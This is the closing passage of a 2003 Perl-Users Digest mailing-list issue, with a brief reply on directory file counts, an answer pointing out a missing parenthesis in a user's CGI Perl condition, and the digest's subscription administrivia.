> AS> but even then I'd put a limit at a thousand or so.
>
> the size of a file has little to do with how many files should be in a
> directory...
Just for the record, I didn't mean to say it does.
Anno
------------------------------
Date: Sat, 19 Jul 2003 01:59:56 GMT
From: Bob Walton <bwalton@rochester.rr.com>
Subject: Re:
Message-Id: <3F18A600.3040306@rochester.rr.com>
Ron wrote:
> Tried this code get a server 500 error.
>
> Anyone know what's wrong with it?
>
> if $DayName eq "Select a Day" or $RouteName eq "Select A Route") {
(---^
> dienice("Please use the back button on your browser to fill out the Day
> & Route fields.");
> }
...
> Ron
...
--
Bob Walton
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 5662
***************************************